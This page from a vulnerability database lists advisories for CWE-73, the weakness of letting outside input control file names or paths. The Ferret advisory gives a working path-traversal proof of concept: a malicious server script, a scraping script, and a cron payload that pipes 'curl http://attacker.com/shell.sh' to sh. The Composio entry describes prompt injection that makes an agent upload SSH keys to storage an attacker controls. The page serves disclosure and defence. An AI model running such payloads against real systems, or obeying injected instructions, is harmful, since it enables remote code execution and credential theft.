Common Weakness Enumeration

CWE-73

Allowed

External Control of File Name or Path

Abstraction: Base · Status: Draft

The product allows user input to control or influence paths or file names that are used in filesystem operations.

913 vulnerabilities reference this CWE, most recent first.

GHSA-J6V5-G24H-VG4J

Vulnerability from github – Published: 2026-04-01 23:37 – Updated: 2026-04-06 23:25
VLAI
Summary
Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites
Details

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

  1. The attacker serves a JSON API with crafted filenames containing ../ traversal:
[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]
  1. The victim runs a standard scraping script:
LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }
  1. FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt

  2. os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory

  3. The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

Target Path Impact
/etc/cron.d/<name> Command execution via cron
~/.ssh/authorized_keys SSH access to the machine
~/.bashrc or ~/.profile Command execution on next login
/var/www/html/<name>.php Web shell
Application config files Credential theft, privilege escalation

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in IO::FS::WRITE and IO::FS::READ

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no: - Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks) - Base directory enforcement (checking the resolved path stays within an intended directory) - Traversal sequence rejection (blocking .. components) - Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/MontFerret/ferret/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0-alpha.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/MontFerret/ferret"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.18.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:37:29Z",
    "nvd_published_at": "2026-04-06T17:17:10Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA path traversal vulnerability in Ferret\u0027s `IO::FS::WRITE` standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing `../` sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.\n\n## Exploitation\n\nThe attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.\n\n### Attack Flow\n\n1. The attacker serves a JSON API with crafted filenames containing `../` traversal:\n\n```json\n[\n  {\"name\": \"legit-article\", \"content\": \"Normal content.\"},\n  {\"name\": \"../../etc/cron.d/evil\", \"content\": \"* * * * * root curl http://attacker.com/shell.sh | sh\\n\"}\n]\n```\n\n2. The victim runs a standard scraping script:\n\n```fql\nLET response = IO::NET::HTTP::GET({url: \"http://evil.com/api/articles\"})\nLET articles = JSON_PARSE(TO_STRING(response))\n\nFOR article IN articles\n    LET path = \"/tmp/ferret_output/\" + article.name + \".txt\"\n    IO::FS::WRITE(path, TO_BINARY(article.content))\n    RETURN { written: path, name: article.name }\n```\n\n3. FQL string concatenation produces: `/tmp/ferret_output/../../etc/cron.d/evil.txt`\n\n4. `os.OpenFile` resolves `../..` and writes to `/etc/cron.d/evil.txt` -- outside the intended output directory\n\n5. The attacker achieves arbitrary file write with controlled content, leading to code execution.\n\n### Realistic Targets\n\n| Target Path | Impact |\n|-------------|--------|\n| `/etc/cron.d/\u003cname\u003e` | Command execution via cron |\n| `~/.ssh/authorized_keys` | SSH access to the machine |\n| `~/.bashrc` or `~/.profile` | Command execution on next login |\n| `/var/www/html/\u003cname\u003e.php` | Web shell |\n| Application config files | Credential theft, privilege escalation |\n\n## Proof of Concept\n\n### Files\n\nThree files are provided in the `poc/` directory:\n\n**`evil_server.py`** -- Malicious web server returning traversal payloads:\n\n```python\n\"\"\"Malicious server that returns filenames with path traversal.\"\"\"\nimport json\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass EvilHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == \"/api/articles\":\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/json\")\n            self.end_headers()\n            payload = [\n                {\"name\": \"legit-article\",\n                 \"content\": \"This is a normal article.\"},\n                {\"name\": \"../../tmp/pwned\",\n                 \"content\": \"ATTACKER_CONTROLLED_CONTENT\\n\"\n                            \"# * * * * * root curl http://attacker.com/shell.sh | sh\\n\"},\n            ]\n            self.wfile.write(json.dumps(payload).encode())\n        else:\n            self.send_response(404)\n            self.end_headers()\n\nif __name__ == \"__main__\":\n    server = HTTPServer((\"0.0.0.0\", 9444), EvilHandler)\n    print(\"Listening on :9444\")\n    server.serve_forever()\n```\n\n**`scrape.fql`** -- Innocent-looking Ferret scraping script:\n\n```fql\nLET response = IO::NET::HTTP::GET({url: \"http://127.0.0.1:9444/api/articles\"})\nLET articles = JSON_PARSE(TO_STRING(response))\n\nFOR article IN articles\n    LET path = \"/tmp/ferret_output/\" + article.name + \".txt\"\n    LET data = TO_BINARY(article.content)\n    IO::FS::WRITE(path, data)\n    RETURN { written: path, name: article.name }\n```\n\n**`run_poc.sh`** -- Orchestration script (expects the server to be running separately):\n\n```bash\n#!/bin/bash\nset -e\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\nREPO_ROOT=\"$(cd \"$SCRIPT_DIR/..\" \u0026\u0026 pwd)\"\nFERRET=\"$REPO_ROOT/bin/ferret\"\n\necho \"=== Ferret Path Traversal PoC ===\"\n[ ! -f \"$FERRET\" ] \u0026\u0026 (cd \"$REPO_ROOT\" \u0026\u0026 go build -o ./bin/ferret ./test/e2e/cli.go)\n\nrm -rf /tmp/ferret_output \u0026\u0026 rm -f /tmp/pwned.txt \u0026\u0026 mkdir -p /tmp/ferret_output\n\necho \"[*] Running scrape script...\"\n\"$FERRET\" \"$SCRIPT_DIR/scrape.fql\" 2\u003e/dev/null || true\n\nif [ -f \"/tmp/pwned.txt\" ]; then\n    echo \"[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory\"\n    cat /tmp/pwned.txt\nfi\n```\n\n### Reproduction Steps\n\n```bash\n# Terminal 1: start malicious server\npython3 poc/evil_server.py\n\n# Terminal 2: build and run\ngo build -o ./bin/ferret ./test/e2e/cli.go\nbash poc/run_poc.sh\n\n# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/\ncat /tmp/pwned.txt\n```\n\n### Observed Output\n\n```\n=== Ferret Path Traversal PoC ===\n\n[*] Running innocent-looking scrape script...\n\n[{\"written\":\"/tmp/ferret_output/legit-article.txt\",\"name\":\"legit-article\"},\n {\"written\":\"/tmp/ferret_output/../../tmp/pwned.txt\",\"name\":\"../../tmp/pwned\"}]\n\n=== Results ===\n\n[*] Files in intended output directory (/tmp/ferret_output/):\n-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt\n\n[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!\n\n    Contents:\n    ATTACKER_CONTROLLED_CONTENT\n    # * * * * * root curl http://attacker.com/shell.sh | sh\n```\n\n## Suggested Fix\n\n### Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`\n\nResolve the path and verify it doesn\u0027t contain `..` after cleaning:\n\n```go\nfunc safePath(userPath string) (string, error) {\n    cleaned := filepath.Clean(userPath)\n    if strings.Contains(cleaned, \"..\") {\n        return \"\", fmt.Errorf(\"path traversal detected: %q\", userPath)\n    }\n    return cleaned, nil\n}\n```\n\n### Option 2: Base directory enforcement (stronger)\n\nAdd an optional base directory that FS operations are jailed to:\n\n```go\nfunc safePathWithBase(base, userPath string) (string, error) {\n    absBase, _ := filepath.Abs(base)\n    full := filepath.Join(absBase, filepath.Clean(userPath))\n    resolved, err := filepath.EvalSymlinks(full)\n    if err != nil {\n        return \"\", err\n    }\n    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {\n        return \"\", fmt.Errorf(\"path %q escapes base directory %q\", userPath, base)\n    }\n    return resolved, nil\n}\n```\n## Root Cause\n\n`IO::FS::WRITE` in `pkg/stdlib/io/fs/write.go` passes user-supplied file paths directly to `os.OpenFile` with no sanitization:\n\n```go\nfile, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)\n```\n\nThere is no:\n- Path canonicalization (`filepath.Clean`, `filepath.Abs`, `filepath.EvalSymlinks`)\n- Base directory enforcement (checking the resolved path stays within an intended directory)\n- Traversal sequence rejection (blocking `..` components)\n- Symlink resolution\n\nThe same issue exists in `IO::FS::READ` (`pkg/stdlib/io/fs/read.go`):\n\n```go\ndata, err := os.ReadFile(path.String())\n```\n\nThe `PATH::CLEAN` and `PATH::JOIN` standard library functions do **not** mitigate this because they use Go\u0027s `path` package (URL-style paths), not `path/filepath`, and even `path.Join(\"/output\", \"../../etc/cron.d/evil\")` resolves to `/etc/cron.d/evil` -- it normalizes the traversal rather than blocking it.",
  "id": "GHSA-j6v5-g24h-vg4j",
  "modified": "2026-04-06T23:25:19Z",
  "published": "2026-04-01T23:37:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MontFerret/ferret/security/advisories/GHSA-j6v5-g24h-vg4j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34783"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MontFerret/ferret/commit/160ebad6bd50f153453e120f6d909f5b83322917"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MontFerret/ferret"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites"
}

GHSA-J8X6-F4HM-GPQH

Vulnerability from github – Published: 2026-07-10 15:31 – Updated: 2026-07-10 15:31
VLAI
Details

In JetBrains TeamCity before 2026.1.2 arbitrary file access was possible via the Perforce VCS integration

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-59793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T15:16:48Z",
    "severity": "HIGH"
  },
  "details": "In JetBrains TeamCity before 2026.1.2 arbitrary file access was possible via the Perforce VCS integration",
  "id": "GHSA-j8x6-f4hm-gpqh",
  "modified": "2026-07-10T15:31:41Z",
  "published": "2026-07-10T15:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59793"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J96F-82PQ-XHGW

Vulnerability from github – Published: 2025-11-11 09:30 – Updated: 2025-11-11 09:30
VLAI
Details

It was possible to upload files with a specific name to a temporary directory, which may result in process crashes and impact usability. This flaw can only be exploited after authenticating with an operator- or administrator-privileged service account.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-8998"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-11T08:15:34Z",
    "severity": "LOW"
  },
  "details": "It was possible to upload files with a specific name to a temporary directory, which may result in process crashes and impact usability. This flaw can only be exploited after authenticating with an operator- or\u00a0administrator-privileged service account.",
  "id": "GHSA-j96f-82pq-xhgw",
  "modified": "2025-11-11T09:30:30Z",
  "published": "2025-11-11T09:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8998"
    },
    {
      "type": "WEB",
      "url": "https://www.axis.com/dam/public/f5/62/80/cve-2025-8998pdf-en-US-504374.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JF45-QJM9-J9P9

Vulnerability from github – Published: 2025-10-03 12:33 – Updated: 2026-04-08 18:33
VLAI
Details

The Backup Bolt plugin for WordPress is vulnerable to arbitrary file downloads and backup location writes in all versions up to, and including, 1.4.1 via the process_backup_batch() function. This makes it possible for authenticated attackers, with Administrator-level access and above, to download directories outside of the webroot and write backup zip files to arbitrary locations.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-10306"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-03T12:15:42Z",
    "severity": "LOW"
  },
  "details": "The Backup Bolt plugin for WordPress is vulnerable to arbitrary file downloads and backup location writes in all versions up to, and including, 1.4.1 via the process_backup_batch() function. This makes it possible for authenticated attackers, with Administrator-level access and above, to download directories outside of the webroot and write backup zip files to arbitrary locations.",
  "id": "GHSA-jf45-qjm9-j9p9",
  "modified": "2026-04-08T18:33:56Z",
  "published": "2025-10-03T12:33:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10306"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3373151%40backup-bolt\u0026new=3373151%40backup-bolt\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/backup-bolt"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/63f38644-a021-407a-9882-2c8435849c08?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JFGP-674X-6Q4P

Vulnerability from github – Published: 2024-07-01 21:02 – Updated: 2024-11-18 16:26
VLAI
Summary
Weblate vulnerable to improper sanitization of project backups
Details

Impact

Weblate didn't correctly validate filenames when restoring project backup. It may be possible to gain unauthorized access to files on the server using a crafted ZIP file.

Patches

This issue has been addressed in Weblate 5.6.2 via https://github.com/WeblateOrg/weblate/commit/b6a7eace155fa0feaf01b4ac36165a9c5e63bfdd.

Workarounds

Do not allow project creation to untrusted users.

References

Thanks to Bryan Cahill for bringing this issue to our attention.

For more information

If you have any questions or comments about this advisory: * Open a topic in discussions * Email us at care@weblate.org

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Weblate"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.14"
            },
            {
              "fixed": "5.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-39303"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-01T21:02:30Z",
    "nvd_published_at": "2024-07-01T19:15:05Z",
    "severity": "LOW"
  },
  "details": "### Impact\nWeblate didn\u0027t correctly validate filenames when restoring project backup. It may be possible to gain unauthorized access to\nfiles on the server using a crafted ZIP file.\n\n### Patches\nThis issue has been addressed in Weblate 5.6.2 via https://github.com/WeblateOrg/weblate/commit/b6a7eace155fa0feaf01b4ac36165a9c5e63bfdd.\n\n### Workarounds\nDo not allow project creation to untrusted users.\n\n### References\nThanks to Bryan Cahill for bringing this issue to our attention.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a topic in [discussions](https://github.com/WeblateOrg/weblate/discussions)\n* Email us at [care@weblate.org](mailto:care@weblate.org)\n",
  "id": "GHSA-jfgp-674x-6q4p",
  "modified": "2024-11-18T16:26:48Z",
  "published": "2024-07-01T21:02:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-jfgp-674x-6q4p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39303"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WeblateOrg/weblate/commit/b6a7eace155fa0feaf01b4ac36165a9c5e63bfdd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WeblateOrg/weblate"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Weblate vulnerable to improper sanitization of project backups"
}

GHSA-JH8G-Q4MH-FHCX

Vulnerability from github – Published: 2022-05-17 04:35 – Updated: 2025-10-14 00:31
VLAI
Details

Ecava IntegraXor SCADA Server Stable 4.1.4360 and earlier and Beta 4.1.4392 and earlier allows remote attackers to read or write to arbitrary files, and obtain sensitive information or cause a denial of service (disk consumption), via the CSV export feature.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-2375"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-09-15T14:55:00Z",
    "severity": "HIGH"
  },
  "details": "Ecava IntegraXor SCADA Server Stable 4.1.4360 and earlier and Beta 4.1.4392 and earlier allows remote attackers to read or write to arbitrary files, and obtain sensitive information or cause a denial of service (disk consumption), via the CSV export feature.",
  "id": "GHSA-jh8g-q4mh-fhcx",
  "modified": "2025-10-14T00:31:01Z",
  "published": "2022-05-17T04:35:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2375"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-14-224-01"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-14-224-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-JJ3X-PH33-PJC6

Vulnerability from github – Published: 2026-07-08 21:30 – Updated: 2026-07-08 21:30
VLAI
Details

Composio SDK before 0.2.32-beta.283 contains a path validation bypass vulnerability that allows attackers to read and exfiltrate sensitive files by exploiting a missing assertSafeFileUploadPath check in the readFileFromDisk function within tool-file-uploads.ts. Attackers can exploit prompt injection to manipulate file_uploadable parameters to reference sensitive paths such as SSH private keys, causing the CLI to upload credential files to attacker-controlled storage.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-59807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-08T20:16:57Z",
    "severity": "HIGH"
  },
  "details": "Composio SDK before 0.2.32-beta.283 contains a path validation bypass vulnerability that allows attackers to read and exfiltrate sensitive files by exploiting a missing assertSafeFileUploadPath check in the readFileFromDisk function within tool-file-uploads.ts. Attackers can exploit prompt injection to manipulate file_uploadable parameters to reference sensitive paths such as SSH private keys, causing the CLI to upload credential files to attacker-controlled storage.",
  "id": "GHSA-jj3x-ph33-pjc6",
  "modified": "2026-07-08T21:30:29Z",
  "published": "2026-07-08T21:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59807"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ComposioHQ/composio/issues/3746"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ComposioHQ/composio/pull/3763"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ComposioHQ/composio/commit/fc17c37bf95b7ece5c038cb7e2ab7e3e4a064e3a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ComposioHQ/composio/releases/tag/%40composio%2Fcli%400.2.32-beta.283"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/composio-sdk-beta-283-sensitive-file-upload-via-tool-file-uploads-ts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JJ4C-9QX7-H4PC

Vulnerability from github – Published: 2025-04-16 21:30 – Updated: 2025-04-17 15:32
VLAI
Details

SourceCodester Company Website CMS 1.0 contains a file upload vulnerability via the "Create Services" file /dashboard/Services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-29708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-16T21:15:47Z",
    "severity": "CRITICAL"
  },
  "details": "SourceCodester Company Website CMS 1.0 contains a file upload vulnerability via the \"Create Services\" file /dashboard/Services.",
  "id": "GHSA-jj4c-9qx7-h4pc",
  "modified": "2025-04-17T15:32:34Z",
  "published": "2025-04-16T21:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29708"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fupanc-w1n/fupanc/blob/main/php/CVE-2025-29708.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fupanc-w1n/fupanc/blob/main/php/Company%20Website%20CMS1.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JPMX-QVRQ-8C62

Vulnerability from github – Published: 2025-03-31 09:30 – Updated: 2025-03-31 09:30
VLAI
Details

A vulnerability, which was classified as critical, was found in Legrand SMS PowerView 1.x. Affected is an unknown function. The manipulation of the argument redirect leads to file inclusion. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-2982"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-31T08:15:27Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as critical, was found in Legrand SMS PowerView 1.x. Affected is an unknown function. The manipulation of the argument redirect leads to file inclusion. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-jpmx-qvrq-8c62",
  "modified": "2025-03-31T09:30:33Z",
  "published": "2025-03-31T09:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2982"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.302034"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.302034"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JRHV-8GFH-55W6

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32
VLAI
Details

The Order Export & Order Import for WooCommerce plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the admin_log_page() function in all versions up to, and including, 2.6.0. This makes it possible for authenticated attackers, with Administrator-level access and above, to delete arbitrary log files on the server.

Show details on source website

